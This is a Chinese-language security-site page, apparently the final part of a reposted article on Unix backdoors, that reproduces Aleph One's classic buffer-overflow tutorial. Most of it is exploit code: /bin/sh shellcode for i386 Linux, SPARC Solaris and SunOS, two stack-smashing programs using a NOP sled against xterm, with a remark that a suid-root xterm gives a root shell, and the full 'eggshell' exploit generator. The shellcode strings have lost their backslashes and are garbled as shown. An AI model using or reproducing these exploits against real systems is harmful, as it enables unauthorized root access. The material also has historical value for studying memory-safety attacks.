RSS
热门关键字:  时间 autorun AVG key 百度
当前位置 :| 首页 > 网络安全 > 后门技术 >

unix后门初级和高级知识

来源: 作者: 时间:2006-12-18 21:02:52 点击:

void main() {

__asm__("

jmp 0x18       # 2 bytes

popl %esi      # 1 byte

movl %esi,0x8(%esi) # 3 bytes

xorl %eax,%eax    # 2 bytes

movb %eax,0x7(%esi) # 3 bytes

movl %eax,0xc(%esi) # 3 bytes

movb  $0xb,%al    # 2 bytes

movl %esi,%ebx    # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int  $0x80      # 2 bytes

call -0x2d      # 5 bytes

.string "/bin/sh" # 8 bytes

");

}

------------------------------------------------------------------------------

经过编译后,用gdb得到这段汇编语言的机器代码为:

xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex

08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh

现在我们可以写我们的试验程序了:

------------------------------------------------------------------------------

exploit1.c:

char shellcode[] =

"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh";

char large_string[128];

void main()

{

 char buffer[96];

 int i;

 long *long_ptr = (long *) large_string;

 for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer;

 for(i=0;i<strlen(shellcode);i++) large_string[i]=shellcode[i];

 strcpy(buffer,large_string);

}

-------------------------------------------------------------------------------------

在上面的程序中,我们首先用 buffer 的地址填充large_string[]并将ShellCode放在large_string[]的起始位置,从而保证在BufferOverflow 时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入 buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell.

现在我们编译运行一下这个程序:

------------------------------------------------------------------------------

[aleph1] $ gcc -o exploit1 exploit1.c

[aleph1] $ ./exploit1

 $ exit

exit

[aleph1] $

------------------------------------------------------------------------------

OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果.

但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用. 

--------------------------------------------------------------------------------

4. 实际运用中遇到的问题

 在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷的程序.因为是我们自己的程序,所以在运行时我们很方便地就可以确定出ShellCode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填充large_string了.

 但是当我们试图攻击一个其他程序时,问题就出现了.我们怎么知道运行时Shell Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控制权呢? 而如果得不到控制权,我们也就无法成功地攻击这个程序,那么我们上面所做的所有工作都白费了.由此可以看出,这个问题是我们要解决的一个关键问题.

 幸好对于所有程序来说堆栈的起始地址是一样的,而且在拷贝ShellCode之前,堆栈中已经存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因此,我们可以通过猜测加试验的办法最终找到ShellCode的入口地址.

 下面就是一个打印堆栈起始地址的程序:

sp.c

------------------------------------------------------------------------------

unsigned long get_sp(void) {

 __asm__("movl %esp,%eax");

}

void main() {

 printf("0x%x ", get_sp());

}

------------------------------------------------------------------------------

[aleph1] $ ./sp

0x8000470

[aleph1] $

------------------------------------------------------------------------------

上面所说的方法虽然能解决这个问题, 但只要你稍微想一想就知道这个方法并不实用. 因为这个方法要求你在堆栈段中准确地猜中ShellCode的入口,偏差一个字节都不行.如果你运气好的话, 可能只要猜几十次就猜中了,但一般情况是,你必须要猜几百次到几千次才能猜中.而在你能够猜中前,我想大部分人都已经放弃了.所以我们需要一种效率更高的方法来尽量减少我们的试验次数.

一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充为NOP指令(NOP指令是一个任何事都不做的指令,主要用于延时操作,几乎所有CPU都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程序就会一直执行直至执行到 ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可).

低端内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 高端内存

栈顶   89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 栈底

     buffer        ebp  ret  a  b   c

 <------[NNNNNNNNNNNSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]

        ^           |

        |___________|

现在我们就可以根据这个方法编写我们的攻击程序了.

exploit2.c

------------------------------------------------------------------------------

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define NOP 0x90

char shellcode[] =

"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh";

unsigned long get_sp(void)

{

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[])

{

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset= atoi(argv[2]);

if (!(buff = malloc(bsize)))

{

printf("Can't allocate memory. ");

exit(0);

}

addr=get_sp()-offset;

printf("Using address: 0x%x ", addr);

ptr=buff;

addr_ptr=(long *)ptr;

for(i=0;i<bsize;i+=4) *(addr_ptr++)=addr; // 填充猜测的入口地址

for(i=0;i<bsize/2;i++) buff[i]=NOP; //前半部填充NOP

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

for (i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; //中间填充Shell Code

buff[bsize-1]='';

memcpy(buff,"EGG=",4); //将生成的字符串保存再环境变量EGG中.

putenv(buff);

system("/bin/bash");

}

------------------------------------------------------------------------------

好,现在我们来试验一下这个程序的效能如何.这次的攻击目标是xterm

(所有链接了Xt Library的程序都有此缺陷). 首先确保X Server在运行并且允许本地连接.

------------------------------------------------------------------------------

[aleph1] $ export DISPLAY=:0.0

[aleph1] $ ./exploit2 1124

Using address: 0xbffffdb4

[aleph1] $ /usr/X11R6/bin/xterm -fg  $EGG

Warning: some arguments in previous message were lost

bash $

------------------------------------------------------------------------------

OK! 看来我们的程序确实很好用.如果xterm有suid-root属性,那么这个shell就是一个具有root权限的Shell了.

 

--------------------------------------------------------------------------------

Appendix A - 若干操作系统/平台上的 Shell Code

 

i386/Linux

------------------------------------------------------------------------------

jmp 0x1f

popl %esi

movl %esi,0x8(%esi)

xorl %eax,%eax

movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

movb  $0xb,%al

movl %esi,%ebx

leal 0x8(%esi),%ecx

leal 0xc(%esi),%edx

int  $0x80

xorl %ebx,%ebx

movl %ebx,%eax

inc %eax

int  $0x80

call -0x24

.string "/bin/sh"

------------------------------------------------------------------------------

SPARC/Solaris

------------------------------------------------------------------------------

sethi 0xbd89a, %l6

or %l6, 0x16e, %l6

sethi 0xbdcda, %l7

and %sp, %sp, %o0

add %sp, 8, %o1

xor %o2, %o2, %o2

add %sp, 16, %sp

std %l6, [%sp - 16]

st %sp, [%sp - 8]

st %g0, [%sp - 4]

mov 0x3b, %g1

ta 8

xor %o7, %o7, %o0

mov 1, %g1

ta 8

------------------------------------------------------------------------------

SPARC/SunOS

------------------------------------------------------------------------------

sethi 0xbd89a, %l6

or %l6, 0x16e, %l6

sethi 0xbdcda, %l7

and %sp, %sp, %o0

add %sp, 8, %o1

xor %o2, %o2, %o2

add %sp, 16, %sp

std %l6, [%sp - 16]

st %sp, [%sp - 8]

st %g0, [%sp - 4]

mov 0x3b, %g1

mov -0x1, %l5

ta %l5 + 1

xor %o7, %o7, %o0

mov 1, %g1

ta %l5 + 1

 

--------------------------------------------------------------------------------

Appendix B - 通用 Buffer Overflow 攻击程序

 

shellcode.h

------------------------------------------------------------------------------

#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE 1

char nop[] = "x90";

char shellcode[] =

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE 4

char nop[]="xacx15xa1x6e";

char shellcode[] =

"x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0e"

"x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0"

"xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bx91xd0x20x08"

"x90x1bxc0x0fx82x10x20x01x91xd0x20x08";

unsigned long get_sp(void) {

__asm__("or %sp, %sp, %i0");

}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE 4

char nop[]="xacx15xa1x6e";

char shellcode[] =

"x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0e"

"x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0"

"xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bxaax10x3fxff"

"x91xd5x60x01x90x1bxc0x0fx82x10x20x01x91xd5x60x01";

unsigned long get_sp(void) {

__asm__("or %sp, %sp, %i0");

}

#endif

------------------------------------------------------------------------------

eggshell.c

------------------------------------------------------------------------------

/*

* eggshell v1.0

*

* Aleph One / aleph1@underground.org

*/

#include <stdlib.h>

#include <stdio.h>

#include "shellcode.h"

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

void usage(void);

void main(int argc, char *argv[]) {

char *ptr, *bof, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)

switch (c) {

case 'a':

align = atoi(optarg);

break;

case 'b':

bsize = atoi(optarg);

break;

case 'e':

eggsize = atoi(optarg);

break;

case 'o':

offset = atoi(optarg);

break;

case '?':

usage();

exit(0);

}

if (strlen(shellcode) > eggsize) {

printf("Shellcode is larger the the egg. ");

exit(0);

}

if (!(bof = malloc(bsize))) {

printf("Can't allocate memory. ");

exit(0);

}

if (!(egg = malloc(eggsize))) {

printf("Can't allocate memory. ");

exit(0);

}

addr = get_sp() - offset;

printf("[ Buffer size: %d Egg size: %d Aligment: %d ] ",

bsize, eggsize, align);

printf("[ Address: 0x%x Offset: %d ] ", addr, offset);

addr_ptr = (long *) bof;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

ptr = egg;

for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)

for (n = 0; n < NOP_SIZE; n++) {

m = (n + align) % NOP_SIZE;

*(ptr++) = nop[m];

}

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

bof[bsize - 1] = '';

egg[eggsize - 1] = '';

memcpy(egg,"EGG=",4);

putenv(egg);

memcpy(bof,"BOF=",4);

putenv(bof);

system("/bin/sh");

}

void usage(void) {

(void)fprintf(stderr,

"usage: eggshell [-a ] [-b ] [-e ] [-o ] ");

}'

上一页 1 2 3 4 5 6
最新评论共有 位网友发表了评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
验证码:
匿名?
栏目列表
栏目最新
热点关注
相关文章